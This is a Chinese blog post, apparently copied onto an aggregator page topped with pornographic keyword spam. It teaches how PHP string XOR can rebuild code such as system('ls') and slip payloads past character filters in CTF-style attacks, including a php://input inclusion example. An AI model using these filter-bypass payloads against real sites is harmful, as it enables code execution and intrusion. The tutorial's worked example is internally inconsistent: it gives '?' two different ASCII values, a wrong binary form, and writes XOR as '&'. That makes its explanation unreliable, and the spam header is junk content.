日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

PHP异或

發布時間:2023/12/31 php 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PHP异或 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PHP異或流程:

在PHP中,兩個變量的值進行異或時,會先將兩個變量的值轉換為ASCII,再將ASCII轉換為二進制,對兩對二進制數據進行異或,異或完,再將結果轉為ASCII,最后將ASCII轉為字符串,即為最終結果。

異或運算法則:

0&0=0;1&1=0;0&1=1;1&0=1
兩個二進制數相同時,異或為0,不同為1

例:php中的字符串A和字符串?

<?php echo "A"^"?"; //輸出:~ /* (1) A的ASCII值:65 ?的ASCII值:77 (2) 65轉為二進制:1000001 90轉為二進制:0111111 (3) 二進制異或結果:1111110 二進制轉為ASCII:126 ASCII轉為字符串:~ */ ?>

利用異或制作php執行代碼:

<?php echo ("<"^"a")."<br/>"; echo ("?"^"d")."<br/>"; echo ("p"^"1")."<br/>"; echo ("h"^"1")."<br/>"; echo ("p"^"1")."<br/>"; echo (" "^"a")."<br/>"; echo ("s"^"1")."<br/>"; echo ("y"^"1")."<br/>"; echo ("s"^"2")."<br/>"; echo ("t"^"1")."<br/>"; echo ("e"^"1")."<br/>"; echo ("m"^"6")."<br/>"; echo ("("^"a")."<br/>"; echo ("'"^"a")."<br/>"; echo ("l"^"1")."<br/>"; echo ("s"^"1")."<br/>"; echo ("'"^"a")."<br/>"; echo (")"^"a")."<br/>"; echo (";"^"a")."<br/>"; echo ("?"^"b")."<br/>"; echo (">"^"c")."<br/>";echo "<br/>";echo ("]"^"a")."<br/>"; echo ("["^"d")."<br/>"; echo ("A"^"1")."<br/>"; echo ("Y"^"1")."<br/>"; echo ("A"^"1")."<br/>"; echo ("A"^"a")."<br/>"; echo ("B"^"1")."<br/>"; echo ("H"^"1")."<br/>"; echo ("A"^"2")."<br/>"; echo ("E"^"1")."<br/>"; echo ("T"^"1")."<br/>"; echo ("["^"6")."<br/>"; echo ("I"^"a")."<br/>"; echo ("F"^"a")."<br/>"; echo ("]"^"1")."<br/>"; echo ("B"^"1")."<br/>"; echo ("F"^"a")."<br/>"; echo ("H"^"a")."<br/>"; echo ("Z"^"a")."<br/>"; echo ("]"^"b")."<br/>"; echo ("]"^"c")."<br/>"; /*輸出 ] [ A Y A A B H A E T [ I F ] B F H Z ] ]< ? p h ps y s t e m ( ' l s ' ) ; ? > */echo ("AYAABHAET[IF]BFHZ]]"^"ad111a112116aa11aaabc"); //沒有輸出,因為<?php system('ls');?>是代碼,已經執行了,但var_dump()會顯示有21個字符,或者兩邊都刪除前兩位,即可看到值 ?>

制作時,^左邊為我們想要的php字符,右邊可設置1~9/a-z/A-Z,只要得到異或出來的值即可,之后將得到的值替換原來^左邊的值,再次異或,即為你想要的php字符。如上面的"<"^“a”,異或后的值為],再將原來的<替換為],"]"^"a"的結果為<,所以我們繞過時,可以使用異或來得到我們想要的值

打CTF時,若遇到白名單過濾,但沒有過濾\^,可以使用該方法繞過,例如:http://x.x.x.x/?page=php://input,如果目標過濾:和/時這時,就可以使用http://x.x.x.x/?page=php"[NN"^"aaa"input,這里使用"[NN"^"aaa"異或后的值即表示被過濾的://,但需要注意的是,目標不能同時都過濾單雙引號
但我們可以拼湊使得異或兩邊的都是英文字母,這樣就不需要加單或雙引號例:

echo (@AAA^@qwe); //輸出06$

到時候就可以也繞過單雙引號,payload類似http://x.x.x.x/?page=@xx^@xx這樣就可以了

總結

以上是生活随笔為你收集整理的PHP异或的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。